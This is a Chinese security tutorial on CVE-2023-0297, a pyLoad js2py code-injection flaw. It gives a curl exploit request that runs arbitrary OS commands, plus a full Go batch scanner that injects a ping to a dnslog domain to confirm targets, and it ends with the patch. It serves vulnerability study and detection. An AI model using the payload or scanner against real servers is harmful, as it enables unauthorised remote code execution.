云山雾隐
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
本文主要阐述漏洞详情及编写POC过程中遇到的坑。注:这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责,本文涉及服务器以及终端均为自行搭建。
CVE-2023-0297漏洞详情
Pyload:是用Python编写的免费开源下载管理器,可通过Web界面进行管理;截至23年2月,它的GitHub 存储库大约已有2.8k颗星。
漏洞描述:
js2py
0.5.0b3.dev31之前的PyLoad版本中存在代码注入漏洞,未经身份验证的攻击者可通过滥用功能来执行任意Python代码。
漏洞受影响范围较小:
漏洞细节:
jk = eval_js(f"{jk} f()")
函数定义eval_js
如下:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()")
使用js2py的功能运行 JavaScript 代码,f"{jk} f()"
其中jk
参数由请求参数传递:
jk = flask.request.form["jk"]
因此,可以通过请求端点来运行任意 JavaScript 代码,使用fancyjs2py
的功能进行命令执行。
POC/EXP:
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system("command");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
POC编写
在已知漏洞验证POC的情况下,我们仅需分析出固定特征即可进行验证POC的编写,一般特征有响应码、响应内容的关键字、版本信息等,这里我们使用dnslog进行验证,因此仅需判断dnslog是否有响应即可判断是否存在漏洞。
要求:能进行单个目标及多个目标的漏洞验证。
编写思路:
1.接收用户参数
- 从标准输入接收
- 从文件中接收
2.处理用户参数
- URL没有http前缀的增加http前缀
- 去边URL后面的斜线
3.发送请求判断漏洞是否存在
- 向target发送请求,不需要获取响应
- 向dnslog平台发送请求,需要获取响应
- 根据dnslog平台响应判断漏洞是否存在
4.方法的调用
遇到的问题:
1.参数处理:有一个场景有时从终端接收的值不是http://127.0.0.0/格式的,有可能后面还会带路径,比如http://127.0.0.0/path,那就需要将/path一起去掉,否则带入执行会导致误报,验证不精确。
原代码:
使用url.Parse对URL进行处理,url.Parse的简单使用用例:
u, err := url.Parse("https://www.example.com/path?query=value")
if err != nil {
// handle error
}
fmt.Println(u.Scheme) // Output: https
fmt.Println(u.Host) // Output: www.example.com
fmt.Println(u.Path) // Output: /path
fmt.Println(u.RawQuery) // Output: query=value
2.使用path.join拼接的字符串URL存在问题如下:
import (
"fmt"
"path"
)
func main() {
target := "http://127.0.0.1"
url := path.Join(target, "/flash/addcrypted2")
fmt.Printf("%v", url) //输出:http:/127.0.0.1/flash/addcrypted2
}
path.Join
是将多个参数拼接为一个路径的函数,因此它并不适合拼接 URL。URL中的斜杠具有特殊意义,代表不同的URL路径分隔符,因此在拼接URL时最好使用net/url
库中的url.URL
类型来完成。
3.从文档中读取URL时候,未对URL后面的换行进行处理,导致报错;
通过写入时使用strings.TrimSuffix去除末尾的换行符进行解决。
4.目标不可达无限等待的问题;
可通过设置超时时间,让请求在一定时间内结束并继续执行后续代码。
5.dnslog平台(http://eyes.sh/)
返回 True,请求被触发;
返回 False,请求未触发;
完整golang代码如下:
package main
import (
"crypto/tls"
"encoding/hex"
"flag"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"strings"
"time"
)
//1、从文件中读取内容,并将内容存为string类型的切片
func readFile(fileName string) ([]string, error) {
fileObj, err := ioutil.ReadFile(fileName)
if err != nil {
fmt.Println("open file failed, err:", err)
return nil, err
}
//按换行符分割文件内容
lines := strings.Split(string(fileObj), "\n")
//去除末尾的换行符,否则带入请求会报错
for i, line := range lines {
lines[i] = strings.TrimSuffix(line, "\r")
}
return lines, nil
}
//2、url处理
func urlHandler(target string) string {
if !strings.HasPrefix(target, "http") { //HasPrefix以http开头则返回true,区分大小写
target = "http://" + target //没有http的添加http
}
url, err := url.Parse(target)
if err != nil {
fmt.Println(err)
}
url.Path = "" //将URL后面的路径全部去除包括/
target = url.String() //提取出处理后的URL,在进行返回
return target
}
//3、发送请求判断漏洞是否存在
func vuln_Verify(target string) {
rand.Seed(time.Now().UnixNano()) //设置随机数种子,加上这行代码,可以保证每次种子都是随机的
b := make([]byte, 2) //函数 make 接受一个类型、一个指定的默认长度
rand.Read(b)
rand_str := hex.EncodeToString(b) //编码为16进制
//fmt.Printf("rand_str: %v\n", rand_str) //查看生成的种子
url := target + "/flash/addcrypted2"
postDataStr := `jk=pyimport%20os;os.system("ping ` + rand_str + `.pyload.eyes.sh -c4");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa`
req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postDataStr))
if err != nil {
fmt.Println("Create POST request failed", err.Error())
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
//客户端忽略证书
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := http.Client{
Transport: tr,
Timeout: 10 * time.Second, //设置访问超时时间为10秒,避免无限等待
}
resp, err := client.Do(req) //发送POST请求
if err != nil {
fmt.Println("request target fail", err.Error())
return
}
defer resp.Body.Close()
<-time.After(5 * time.Second) //延时请求dnslog接口,?存在请求过快导致eyes.sh还未获取到响应就被覆盖的情况
//3、获取响应判断漏洞是否存在
dnsResponseGet, err := http.Get("http://eyes.sh/api/dns/pyload/" + rand_str + "/?token=0b899490")
if err != nil {
fmt.Println("Failed to create dnsResponseGet request", err.Error())
return
}
body, err := ioutil.ReadAll(dnsResponseGet.Body)
if err != nil {
fmt.Println("Failed to get response\n", err.Error())
return
}
dnsResponseGet.Body.Close()
if string(body) == "True" {
fmt.Printf("%v:Target is vulnerable.\n", target)
} else if string(body) == "False" {
fmt.Printf("%v:The target is not vulnerable.\n", target)
}
}
//4、调用方法
func main() {
var target, fileName string
flag.StringVar(&target, "u", "", "example:http://127.0.0.1:8080") //接收用户参数
flag.StringVar(&fileName, "f", "", "fileName:test.txt") //获取文件名
flag.Parse()
if target == "" && fileName == "" {
fmt.Println("-h 查看使用方法,-u和-f两个参数同一时间只能用一个。")
return
}
if target == "" {
lines, err := readFile(fileName)
if err != nil {
fmt.Println(err)
}
for _, v := range lines {
target = urlHandler(v)
vuln_Verify(target)
}
} else {
target = urlHandler(target)
vuln_Verify(target)
}
}
POC验证
运行POC发包进行抓包,查看请求:
可见请求是没问题的,当存在漏洞时dnslog平台会返回 True,请求被触发:
漏洞修复
1.Just disablepyimport
functionality.
import js2py
+js2py.disable_pyimport()
2.升级至最新版本
Github:https://github.com/Small-ears/CVE-2023-0297
References
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)